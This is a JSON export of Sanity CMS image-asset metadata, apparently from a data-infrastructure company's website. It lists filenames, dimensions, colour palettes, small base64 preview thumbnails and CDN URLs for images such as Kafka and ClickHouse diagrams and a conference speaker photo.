{"_createdAt":"2023-05-08T11:11:19Z","_id":"image-00b3f5e4d7234eaab19049593f497e55dd707e3b-2500x1308-png","_rev":"QpIjbIkE1ssA0KivVYPwXu","_type":"sanity.imageAsset","_updatedAt":"2023-05-08T11:11:19Z","assetId":"00b3f5e4d7234eaab19049593f497e55dd707e3b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M6TD59_fB.}TE2+j[b9%;QES8_-3BS-5GZ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABcRAAAXEQHKJvM/AAAB30lEQVQokXXS20+SARzG8bfBklUuZbMWbdTU7KCuwJJDyIv5ijTkmIJYpDBApDgFg7Vqa1Te9mf1h3TZdTNPv2+j9525Fhe/28+e355HwRUHbwQWQrCogaZC6DGszkPMAc9mIXUHNifh5Q3I2aB4BdkdRarD0LTw/dVlegknd90plL/gUx1cPgs6dTB9BsxfN0DrKfizaeFb6Spf07MG6ImALwSBJdD8sOKF8CM9YXLGSDgBWbuesDAG5RHk9SVoDCFtE/ttMz+aFgP0xZCVBBKOQjgI0UVILsCaC9YfwMY9eDEF+UkojUPFjtRs0BxD2iPQvQBdE3QVFHHFkeU0UqwhtQZS2ILiJlLZQMpR2PbB1hwUHFB3QdcLH7zQ8yCf5uDzDNKzI+8uIn2Q+QQEM1BqQKMJO3mknIXqc6jEIeeH7YdQdELdDW998FGFLyrsuWDvPvTB9wYo/hASWEVCSSQSQyIhiC8hayqS8kDKAZlpyN6G/C3YmYDqOLy5Ce1r0LH+83JmiuOYg0PNz1HgCSeaihilyKBSiv1SRqFfSn0IWiboKH9OkeZ5DstWfq1PcxBUOdYCiDEb+d9scvps2O2Dw9CwQMsMnXMG2FU4apnZz9s4CLv1hKfg4GEPAn8DKob3X+4GtLsAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#133d85","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e2c60","foreground":"#fff","population":1.33,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":14.86,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8d500b","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5be7f","foreground":"#000","population":0.24,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#974501","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":14.86,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"SimpliLearn_social_media_1200x628 (1).png","path":"images/sczeoy4w/production/00b3f5e4d7234eaab19049593f497e55dd707e3b-2500x1308.png","sha1hash":"00b3f5e4d7234eaab19049593f497e55dd707e3b","size":73751,"uploadId":"QiGbMoM3MaP1aZoHBNlzqUviKxIbVN3S","url":"https://cdn.sanity.io/images/sczeoy4w/production/00b3f5e4d7234eaab19049593f497e55dd707e3b-2500x1308.png"} {"_createdAt":"2022-12-14T10:52:06Z","_id":"image-00c59bc4e7ada31cbac627bdbbfb342221952e52-2000x1500-jpg","_rev":"K0rtrsNuqDEgCtVQGjYQu4","_type":"sanity.imageAsset","_updatedAt":"2022-12-14T10:54:16Z","altText":"Picture of Matty Stratton speaking","assetId":"00c59bc4e7ada31cbac627bdbbfb342221952e52","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3333333333333333,"height":1500,"width":2000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAPABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAQGAgX/xAAkEAABAwMDBAMAAAAAAAAAAAACAQMEAAUGERJRISJBYRMWMf/EABcBAAMBAAAAAAAAAAAAAAAAAAABAgP/xAAYEQEBAAMAAAAAAAAAAAAAAAAAAQIRQf/aAAwDAQACEQMRAD8AaxmPd7jijouXAlZmERuAqIqbuU4qayELxbjjRHWYskkZIR+VFLVOdF81xrTmN8t9vjRGGmAabHbrrqpe6TyrInbw6ydyeNp1kehNp1SoacY+2SIoBHgK6200mxRWOC93mipwZs2WIuNxo6inbu/FL2vuinsTGP/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2a314c","foreground":"#fff","population":0.62,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0f0c04","foreground":"#fff","population":0.69,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8d817d","foreground":"#fff","population":8.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ceb5ae","foreground":"#000","population":0.31,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e3ce96","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8d817d","foreground":"#fff","population":8.19,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c9a135","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"DevRelCon-Prague2022-MattyStratton.jpg","path":"images/sczeoy4w/production/00c59bc4e7ada31cbac627bdbbfb342221952e52-2000x1500.jpg","sha1hash":"00c59bc4e7ada31cbac627bdbbfb342221952e52","size":160015,"title":null,"uploadId":"YZbGbPeREB1OCISpN4PwCTI7EOmgz8Ho","url":"https://cdn.sanity.io/images/sczeoy4w/production/00c59bc4e7ada31cbac627bdbbfb342221952e52-2000x1500.jpg"} {"_createdAt":"2023-03-14T17:26:29Z","_id":"image-00c77a462a0f19eea18f417fb441374161b5a04a-1742x798-png","_rev":"6WM1dqL6UhcEkNXkNwcHwG","_type":"sanity.imageAsset","_updatedAt":"2023-03-14T17:27:02Z","altText":null,"assetId":"00c77a462a0f19eea18f417fb441374161b5a04a","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.182957393483709,"height":798,"width":1742},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA+UlEQVQokX2Q4W7DIAyEef+3XEnbNWsLxDa2cSFTYIoyVer3A6HznWWdWw+0dS1mEQiIX686RDNLKf10vPfTNBFRa21dV/cv3JpoCQkSoJbSOnv4drudTifvPQDUWltr7nXAzFgYEChnFlFV6zAzAMQYQwgpJSIaUwcdRNwk5sy0QGTOqoqIC4B038gjIgDO8+N8uc73bxdjfD6fIUTovm5aRMTMkCgtCzOr6hgx85Lgcp6//HSdz25Xx5FMDBGKaK3VzEop490/qkqUcTszu9HKoNbKmOERC0vbGtkqPRp2RsFvbVOGe1DiVv8cH3gLZ0mPJFn29R/Cv4yfC+LUaArzAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#595750","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#721260","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fcecf9","foreground":"#000","population":0.09,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4acc4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcecf9","foreground":"#000","population":0.09,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8d5e6e","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dc22b9","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"kafka-ordering-single-producer-ack.png","path":"images/sczeoy4w/production/00c77a462a0f19eea18f417fb441374161b5a04a-1742x798.png","sha1hash":"00c77a462a0f19eea18f417fb441374161b5a04a","size":73718,"title":null,"uploadId":"jxIhrW6puJpnIY3vwpoyhiA1wEvP8mLy","url":"https://cdn.sanity.io/images/sczeoy4w/production/00c77a462a0f19eea18f417fb441374161b5a04a-1742x798.png"} {"_createdAt":"2023-02-17T12:39:56Z","_id":"image-00cabc046d2418404586c54c1c0f6d783502fbcd-2000x829-png","_rev":"ZxzZ1hFw7v7VMlheRhMB4w","_type":"sanity.imageAsset","_updatedAt":"2023-02-17T12:39:56Z","assetId":"00cabc046d2418404586c54c1c0f6d783502fbcd","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MQK[VEoy05ENEg}AE%OExFJA9^J9^3n$Nc","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.4125452352231602,"height":829,"width":2000},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAACYklEQVQokUXO3UtTYRzA8d/ZnHOWr02n5Qo3beU85znPOb4wnZYNYpWmyZy9YNkraaEMM0pTl6ZNa/OcWUKG4iLKJCSTCpIKsvv6Kyyki6CXm7bnF7qLLr63H75ACAG/R+Bgq6gbbBKyV4f4Rhbip1Dhl3CcX0KFf4kh+zwGbbN4p+Ae3jL1Yo/2Al7XnMYbBg/2pTjYoCkfRwsMDBGAEMLtryC6LRZi8DeJOV9HqDem0Meo0g+o0veoSu9QIYt4d9cMjlpUHN7Wj32bz2FvUgP6M0vxZpaJDeUYcLRQw14PxEF3pZiQsoPoA8eo6dtt6WhUkZ6hKn1iG8krTKXLLFj0iAXyA2w4r5MNmg4wf+ZONmxO/xuSNDiWBrMjXYAh+wYInXUiBxlCQvgkNa4FZG9UlZ9iWF5hYfnjRqq8zMaFGRa0dzOF1rGJMisbF/UYNANADYC2BQB8gC9K4mDzPlGbvJ3ox47T7LWA1Bz7f7iOrrCJsjc46byP0+42nGtx4WLH9uira7rzzhzOu5fXlMuEM9tEAHDEwfpqUZtlJYY+D81dHZE9UUWOsLC8zMLy23WMPaiZZpGGNjbX4owttNliS13Zv+bbE3uO8Lr6amIooURnsxMOQIyDvgaJM1oEXXutZPzcX17xI+S4+Ed1XF3v90RV18+p2lPfI62OL5NnTQ99dZsGzriTThysTPS6JL3bSfUyJQm7iwUOIDcOQoYNbHZBW1UupXc0OvJmLtdYFrpd1udXXAVPfK7CiM9tVS4dMrce3mO080Kqrag4VRBIGhXFZImKWiqKUFQsQKlM4R9qsvfY089ouwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#684835","foreground":"#fff","population":0.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9a3104","foreground":"#fff","population":0.64,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f77508","foreground":"#fff","population":7.59,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c19c86","foreground":"#000","population":0.12,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbb46a","foreground":"#000","population":0.34,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9f8368","foreground":"#fff","population":0.34,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f77508","foreground":"#fff","population":7.59,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"chart-6-top-usage-of-data.png","path":"images/sczeoy4w/production/00cabc046d2418404586c54c1c0f6d783502fbcd-2000x829.png","sha1hash":"00cabc046d2418404586c54c1c0f6d783502fbcd","size":47685,"uploadId":"87rOBVspo1Lc1N8MN3lqHrUF4loFjN19","url":"https://cdn.sanity.io/images/sczeoy4w/production/00cabc046d2418404586c54c1c0f6d783502fbcd-2000x829.png"} {"_createdAt":"2023-04-03T10:37:04Z","_id":"image-00d9cf09eed5e6cd931e36027f85e38eadda352e-1080x608-gif","_rev":"IfootSjA4c56MZIbwrvdZU","_type":"sanity.imageAsset","_updatedAt":"2023-04-03T10:37:04Z","assetId":"00d9cf09eed5e6cd931e36027f85e38eadda352e","extension":"gif","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7763157894736843,"height":608,"width":1080},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAIBAwQI/8QAHhAAAQQCAwEAAAAAAAAAAAAAAQADESECEgQxUYH/xAAWAQEBAQAAAAAAAAAAAAAAAAAAAQL/xAAXEQEBAQEAAAAAAAAAAAAAAAARAAEh/9oADAMBAAIRAxEAPwDqPXRs3ahtySAR9Tu3gs/HEzPqo9sppXlpskk4YkntCXUXSEl//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#383a44","foreground":"#fff","population":0.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#104474","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#383a44","foreground":"#fff","population":0.13,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acc4d4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a5e7fc","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7494a4","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3c94e4","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/gif","originalFilename":"clickhouse-metabase-query1.gif","path":"images/sczeoy4w/production/00d9cf09eed5e6cd931e36027f85e38eadda352e-1080x608.gif","sha1hash":"00d9cf09eed5e6cd931e36027f85e38eadda352e","size":19526268,"uploadId":"cmEXjoTXWK1SDoXdC7QaZLAfdaxxxvV0","url":"https://cdn.sanity.io/images/sczeoy4w/production/00d9cf09eed5e6cd931e36027f85e38eadda352e-1080x608.gif"} {"_createdAt":"2022-06-30T19:56:42Z","_id":"image-0160676891d05cb6d847a50afa0dff8bd464c633-1500x479-png","_rev":"CK1sLU2mnwa3vmbYWEbCWl","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:16:59Z","assetId":"0160676891d05cb6d847a50afa0dff8bd464c633","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D05hJf~X0e1]0e$~xC%M-q-=","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.1315240083507305,"height":479,"width":1500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAIAAABM9SnKAAAACXBIWXMAAAsTAAALEwEAmpwYAAABCUlEQVQYlSXMSXLEIAxAUR8i7QFjsARICAs8dVc6+9z/TKkkf/9+V4LfhGutuqnkHBC8c6v3AZFSopRiCAF/CwAIgCus3nvnAKDzdk4xiBRKBOsKyxIWGwGYiIkionfOWeuWxRpjxnGepmkc+8djGoZuNiYz7/uhWpnoSPgmfwofrTXVplpEIiKnFAHdPAfAgDgNQ//x0VljipTn83Vdd1X90vxd42fb7vM6Wnte932eJeemumulGLdSiog1Zng8OmumzHyd5972Ura9tddeD92aVmEuOWfmALBJaaocYxFhIjOOY9938zQGxJJFmBNl2F9wvkk2YQa/WmOsMcs8U0zyd6EYI+I//gGFpTOzxuLiDQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2b343e","foreground":"#fff","population":0.36,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#782810","foreground":"#fff","population":0.18,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7b7a7a","foreground":"#fff","population":2.84,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4b3b4","foreground":"#000","population":0.06,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ee976b","foreground":"#000","population":0.09,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7b7a7a","foreground":"#fff","population":2.84,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bf4c1d","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"0160676891d05cb6d847a50afa0dff8bd464c633-1500x479.png","path":"images/sczeoy4w/production/0160676891d05cb6d847a50afa0dff8bd464c633-1500x479.png","sha1hash":"0160676891d05cb6d847a50afa0dff8bd464c633","size":106370,"uploadId":"TuKhrSNuqJbmiU4KmIOw5TdQb215Kys0","url":"https://cdn.sanity.io/images/sczeoy4w/production/0160676891d05cb6d847a50afa0dff8bd464c633-1500x479.png"} {"_createdAt":"2022-09-07T06:39:27Z","_id":"image-01790e717d7acdcf9f008e5a0d866d88ef3881a4-1000x500-png","_rev":"QRl2cGoCgj0FlAhkRriX9p","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:32:16Z","assetId":"01790e717d7acdcf9f008e5a0d866d88ef3881a4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M8S?AN%h?b={?v?wZ~s:krnM%LbcRjadNH","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2,"height":500,"width":1000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAABYjAAAWIwHJUWBrAAABBUlEQVQokXWRy24DIQxF8/9/V6lS21WiPhI1STtg4weDDRVDM4soc+UFEjqcK7xrt9Ra57mIKLOw9Ml5rktyztKjZlbrSrTdenJ31YxIAAkxASZmMTP3DieilGg8twVrxwARO0/MQ1XMEvEUgEjc/TEsdzBxKWVcJeLrb8DEmzCLRMAYIQIC4NrTzAHpfJ0AadssCgs85MzDXEuxGOPl+4RhcutdHsISI0whxogReu95LrXWkjVcvq6HFzztjWNz24Bv5u7GJKLev5vkvJ/2T/j+bOHYLN/Dy55nVRVR1TxmMXsrauHIx1c9vTmem8/38OD9P3XMstXaLFf68enDw2eTsNb+A4RqR7xALPfXAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#546c7c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c06424","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e9760f","foreground":"#fff","population":0.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4c4a4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcc464","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a98160","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e9760f","foreground":"#fff","population":0.04,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"01790e717d7acdcf9f008e5a0d866d88ef3881a4-1000x500.png","path":"images/sczeoy4w/production/01790e717d7acdcf9f008e5a0d866d88ef3881a4-1000x500.png","sha1hash":"01790e717d7acdcf9f008e5a0d866d88ef3881a4","size":51307,"uploadId":"XRFAPhP2WJ8eH2Cz33IL1iNeH7s91otU","url":"https://cdn.sanity.io/images/sczeoy4w/production/01790e717d7acdcf9f008e5a0d866d88ef3881a4-1000x500.png"} {"_createdAt":"2024-08-26T07:29:31Z","_id":"image-01799116ca72aeee809e17f794383403728ce4a8-4747x1191-png","_rev":"QJtWNkOOU8d8F4outYx7Qe","_type":"sanity.imageAsset","_updatedAt":"2024-08-26T07:29:31Z","assetId":"01799116ca72aeee809e17f794383403728ce4a8","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D52d%Pg2Q8g2Ubl+fja1fja1","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.985726280436608,"height":1191,"width":4747},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA20lEQVQYlU2PQUpDQRBEh5hvvlcQwRpw7S64UZRE1I/8nMC1CwmiEBdepfpw1UeR7pmAiwdFd09NVanO0lnAOUA8PVLFEW4jxLG6JaH7fpn3nm9OIJagwFPE4BziGuKmcwfxEbIJ4gTnVD31E8SHxLmF8x7i5dG0QBaG8eM1xDeI3513iJ9V9gPZAc5D9dD8gviRN85fiHuINxBX/w3D/QLiLcRniNuWwia47SDOcM7VbYb42vcbOF9aC15BWT0MW3eIi550BdkAWegzuCW1k7OWZoDnTehlC2blD6gzr2HApU3OAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#275344","foreground":"#fff","population":0.78,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#048444","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#275344","foreground":"#fff","population":0.78,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#0c8c5e","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2deca7","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#60a088","foreground":"#fff","population":0.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#11ed9f","foreground":"#000","population":0.56,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Greens___Green_Logo.png","path":"images/sczeoy4w/production/01799116ca72aeee809e17f794383403728ce4a8-4747x1191.png","sha1hash":"01799116ca72aeee809e17f794383403728ce4a8","size":49881,"uploadId":"QHoCQolg0ibPNXdqdPYyImW0S9ZAtZi6","url":"https://cdn.sanity.io/images/sczeoy4w/production/01799116ca72aeee809e17f794383403728ce4a8-4747x1191.png"} {"_createdAt":"2022-06-30T19:58:55Z","_id":"image-01811e18b541a1dd4f4c446cd4751fa9dff412a6-1598x802-png","_rev":"cEPH2uRN58AU2lp9QO7sfB","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:20:56Z","assetId":"01811e18b541a1dd4f4c446cd4751fa9dff412a6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7O|Ibw{00pI00~Ca{I:V@Sz9FozxbRPx]","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9925187032418952,"height":802,"width":1598},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAABuUlEQVQokW3OW2viQBgGYH/2brvNwQvFQ1A0v6J7273xKlCpWLfQQlNY6jYnM5PTJDOZZGYSNSwG21LYl/fqg4fv7Vx+/3Z5cTGZTjfL28J+reGuSpFwXGG7VYZYYJXwb5Ul3PX4m50BaBjGcDRSVXUymXSkqx+SJM3n8816nUeBwBnPCwqSAiSioHkRERryktIA5bsYBbFhGKPRqNvtTqfTjixdybKs6/rv9RpDn6GEEUJgmMNQ0LwkSYljUVAaRgQEKIy+YEmSzvhuSbZ/uOeIJGb2llnbCsXCs4Vj1WnCfYc7bykEH7id3eoTXq2w57EoElnGbYvbVoUQdz1mOXtCDnl2yBBOzrNVVdU07RNv7u/TKCkw5bQoISwhFCSnMM79sGa8OR6bw4Fg/IHH43FHbvP+2WVRKDAuoc+ALzAuwoBCWDPWNE1zPBJCvmClja7rD3fLwnrdA2+fodp36p2zz1AF3GrnHMri2Ob/eDabrZa3sWuTAJIkJgE4NYlJCAkEJE1JG+D7i8ViOBwqijIYDM5Y07RfNzdPj4+maZrPz+eapvnycur78WGz+Xl93e/3ZUXp9Xr/AE8e1xPkFqFoAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444646","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8b2d4a","foreground":"#fff","population":0.42,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ef7d6f","foreground":"#000","population":4.38,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4a4cc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f38ccc","foreground":"#000","population":0.06,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a09453","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ef7d6f","foreground":"#000","population":4.38,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"01811e18b541a1dd4f4c446cd4751fa9dff412a6-1598x802.png","path":"images/sczeoy4w/production/01811e18b541a1dd4f4c446cd4751fa9dff412a6-1598x802.png","sha1hash":"01811e18b541a1dd4f4c446cd4751fa9dff412a6","size":111579,"uploadId":"37Xe8ERinPJ273ytZQ1hcb9BbQMB4RB9","url":"https://cdn.sanity.io/images/sczeoy4w/production/01811e18b541a1dd4f4c446cd4751fa9dff412a6-1598x802.png"} {"_createdAt":"2022-09-16T12:39:38Z","_id":"image-01b60df4f51dd917fa83609560877831bdba98b8-1200x630-jpg","_rev":"oP937kX6v07bcvrIPQHJ12","_type":"sanity.imageAsset","_updatedAt":"2022-09-16T12:39:38Z","assetId":"01b60df4f51dd917fa83609560877831bdba98b8","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAIBAwQH/8QAIxAAAgEDAwQDAAAAAAAAAAAAAQIDAAQFERITFCExYUFRkf/EABYBAQEBAAAAAAAAAAAAAAAAAAMBAv/EABkRAQEBAQEBAAAAAAAAAAAAAAECABEDUf/aAAwDAQACEQMRAD8A79cw5VrqVorgcZbVQX8CkzWZyGOs4Rtj5pH27h3Cj3W2EDqnPf8AaulijmXbKiuv0w1pvNmaKo6YfeauGYeP3RhMnNeY9JZlAckg6fPuimRFjUKihVHgCipRKqbUFTIU9d//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c44","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#06607e","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0cb3e9","foreground":"#fff","population":1.49,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cdbaa1","foreground":"#000","population":0.15,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8fedf8","foreground":"#000","population":0.36,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4e9ca1","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0cb3e9","foreground":"#fff","population":1.49,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"OpenSearch_product_page_meta_preview.jpeg","path":"images/sczeoy4w/production/01b60df4f51dd917fa83609560877831bdba98b8-1200x630.jpg","sha1hash":"01b60df4f51dd917fa83609560877831bdba98b8","size":92096,"uploadId":"LvuooTl96xMde2aIIwsylISQpvePYrp4","url":"https://cdn.sanity.io/images/sczeoy4w/production/01b60df4f51dd917fa83609560877831bdba98b8-1200x630.jpg"} 